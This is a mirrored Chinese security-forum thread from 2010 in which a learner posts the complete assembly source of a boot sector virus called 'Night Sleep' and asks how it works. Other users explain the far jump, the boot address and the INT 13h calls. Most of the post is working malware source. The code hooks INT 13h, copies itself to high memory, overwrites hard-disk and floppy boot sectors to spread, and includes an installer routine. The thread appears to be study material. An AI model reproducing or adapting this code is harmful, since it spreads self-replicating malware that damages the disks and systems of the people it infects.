BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / security / #29821同步于 2010/9/8
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖

引导扇区病毒问题(续)

chemical
2010/9/8镜像同步6 回复
大牛们好,这是一个引导扇区病毒的例子,有个地方看不懂希望大牛们指导,在下不胜感激!!!! 1. [di.VirusFlag]不是一直都有“V”么,在程序开始处不是已经定义了么,难道还存在di.VirusFlag不是V的情况?? 2. JmpOldInt13如何模拟int 13h的??JmpFar db 0eah如何工作?? 3. ExitDisp处的retf跳转到07c00h处么,这是怎样的思想呢?? 4. ExitOver处的ret又跳到哪呢?? 实在不好意思,问了好几个问题,在下初涉汇编,实在很多问题,谢好心的大牛们了!!! OFF equ <Offset> VirusSize=OFF @@End-OFF @@Start @@Start: jmp short @@Begin VirusFlag db 'V' ;病毒标志 @@BootData: ;这里有两个重要数据结构,不能是代码 org 50h ;病毒从Offset50h开始,病毒未用以上数据 @@Begin: ;但其它程序可能使用,故须保留 mov bx,7c00h mov sp,bx ;设sp,使ss:sp=0:7c00h sti mov ax,ds:[413h] ;得到内存大小(0:413h单元存有以K计数的内存大小) dec ax dec ax mov ds:[413h],ax ;将原内存大小减2K mov cl,06 shl ax,cl ;计算高端内存地址 mov es,ax xor di,di mov si,sp mov cx,VirusSize cld rep movsb ;把病毒搬移到高端地址里 push ax mov di,OFF @@HighAddr push di retf ;跳到高端继续执行 @@HighAddr: cli ;修改中断向量前,最好关中断 xchg ds:[13h*4+2],ax mov cs:[OldInt13Seg],ax mov ax,OFF @@NewInt13 xchg ds:[13h*4],ax mov cs:[OldInt13Off],ax ;修改中断13h push ds pop es ;把es复位为0 cmp dl,80h ;是否从硬盘引导? jz short @@ReadOldHardBoot push dx ; 从软盘引导,则传染硬盘 mov dl,80h call @@OptDisk ;调用传染模块 pop dx @@ReadOldFlopyBoot: ;读出原软盘引导程序 mov ax,0201h mov cx,79*100h+17 ;传染时将原引导程序保存在0面79道17扇区中 mov dh,00h call @@CallInt13 jc short @@ReadOldFlopyBoot ;失败,继续读直到成功 @@ExecOldBoot: cmp es:[bx.Flags],0aa55h jnz @@ExecOldBoot mov ah,02h int 1ah ;取系统时间 cmp cx,22*100h+30 ;是否大于22:30分 jb @@ExitDisp ;未到,则不显示 lea si,VirusMsg @@DispMsg: mov al,cs:[si] inc si mov ah,0eh int 10h ;显示al中的字符 or al,al jnz @@DispMsg xor ax,ax int 16h @@ExitDisp: mov cx,0001h ;恢复cx初值 push es push bx retf ;去执行原引导程序 @@ReadOldHardBoot: mov ax,0201h mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中 mov dh,00h call @@CallInt13 ;读出 jc short @@ReadOldHardBoot ;失败,继续读直到成功 jmp short @@ExecOldBoot ;去执行原引导程序 @@NewInt13: ;新Int 13h(传染块) cmp dx,0000h ;是软盘吗? jnz short @@JmpOldInt13 cmp ah,02h jnz short @@JmpOldInt13 cmp cx,0001h jnz short @@JmpOldInt13 call @@OptDisk ;若发现读软盘扇区,则感染软盘 @@JmpOldInt13: cli JmpFar db 0eah ;远跳转指令 OldInt13Off dw ? OldInt13Seg dw ? @@CallInt13: pushf ;模拟Int 13h指令 push cs call @@JmpOldInt13 ret @@OptDisk: ;传染dl表示的磁盘(dl-0 A: 80:C) pusha push ds push es ;保存段址与通用寄存器 push cs pop es push cs pop ds ;使ds=es=cs mov bx,OFF OldBootSpace mov ax,0201h mov cx,0001h mov dh,00h call @@CallInt13 ;读原引导扇区 jc short @@OptOver mov di,bx cmp ds:[di.VirusFlag],'V' ;判断是否已经有病毒? jz short @@OptOver ;若有,则退出 cmp dl,00h jz short @@IsOptFlopyDisk @@IsOptHardDisk: mov cx,0002h ;若是硬盘,保存在0面0道2扇区 jmp short @@SaveOldBoot @@IsOptFlopyDisk: mov cx,79*100h+17 ;若是软盘,保存在0面79道17扇区 @@SaveOldBoot: mov ax,0301h mov dh,0h call @@CallInt13 ;保存原引导扇区 jc short @@OptOver mov si,OFF @@Start cld movsw movsb ;修改原扇区首指令(Jmp near 3字节) mov di,OFF @@Begin+200h mov si,OFF @@Begin mov cx,OFF @@End-OFF @@Begin cld rep movsb ;修改原引导扇区指令cx字节 mov ax,0301h mov cx,0001h mov dh,00h call @@CallInt13 ;写回已经被修改了的引导程序 @@OptOver: ;退出传染 pop es pop ds ;恢复段址与通用寄存器 popa ret ;以下是病毒要显示的信息,与病毒版本信息 VirusMsg db 0dh,0ah,07h,'Night is deep,you must go sleep!',0dh,0ah,0 db 'Night Sleep ver 1.0,by whg 2001.5.5',0 @@End: org 1feh Flags dw 0aa55h ;引导扇区有效标志 OldBootSpace db 210h dup(?) ;定义缓冲区 @@Install: xor ax,ax mov ds,ax cli mov ax,ds:[13h*4] mov cs:[OldInt13Off],ax mov ax,ds:[13h*4+2] mov cs:[OldInt13Seg],ax mov dl,80h call @@OptDisk mov ax,4c00h int 21h End @@Install
订阅后,新回复会通过你的通知中心匿名送达。
6 条回复
dragon2000机器人#1 · 2010/9/8
0eah是JmpFar指令的代码,要把3个数合起来看,才是一个完整Jmp Far跳转指令: 0eah [OldInt13Off] [OldInt13Seg] 构成的指令就是: Jmp Far OldInt13Seg:OldInt13Off 之前不是已经把原有的真正INT 13h中断向量,段地址和偏移地址保存到OldInt13Seg和OldInt13Off了吗? 【 在 chemical 的大作中提到: 】 : 2. JmpOldInt13如何模拟int 13h的??JmpFar db 0eah如何工作?? : ...................
dragon2000机器人#2 · 2010/9/8
0000:7c00好像是系统引导程序的固定入口,忘了是操作系统引导程序、BIOS引导程序还是什么东东的入口。
chemical机器人#3 · 2010/9/8
【 在 dragon2000 的大作中提到: 】 : 0000:7c00好像是系统引导程序的固定入口,忘了是操作系统引导程序、BIOS引导程序还是什么东东的入口。 --转移了倒是知道,可为什么简单的JMP指令还要像INT 13指令那样填充AX,BX,CX。。。的值呢??
chemical机器人#4 · 2010/9/8
【 在 chemical 的大作中提到: 】 @@ReadOldHardBoot: mov ax,0201h mov cx,0002h ;传染时将原硬盘主引导程序保存在0面0道2扇区中 mov dh,00h call @@CallInt13 ;读出 就是这段
dragon2000机器人#5 · 2010/9/9
这段可不是简单跳转,而是先把原引导程序从硬盘0面0道2扇区读出来,放在7c00:0000处(我记得不是0000:7c00,高低字段搞反了),然后才跳转过去的。 别忘了这个是引导区病毒,鸠占鹊巢,原来的引导程序不在内存里面呢。这一段填充AX、BX、CX,就是作为调用INT 13h功能的参数。AX为0201h表示调用INT 13h的读磁盘功能,CX为0002h表示读0面0道2扇区,dh忘了,难道是表示读C盘? 用call @@CallInt13代替int 13h,因为后者会跳转到病毒自己的中断处理程序中(之前不是改了INT 13h的中断向量嘛)。
jmpesp机器人#6 · 2010/9/11
【 在 chemical 的大作中提到: 】 : 大牛们好,这是一个引导扇区病毒的例子,有个地方看不懂希望大牛们指导,在下不胜感激!!!! : 1. [di.VirusFlag]不是一直都有“V”么,在程序开始处不是已经定义了么,难道还存在di.VirusFlag不是V的情况?? : 2. JmpOldInt13如何模拟int 13h的??JmpFar db 0eah如何工作?? : ................... 太长了 有时间再看看。。。 其实嘛 引导扇区这东西不像想象的那么神秘 首先要心理不畏惧才能理解得透彻点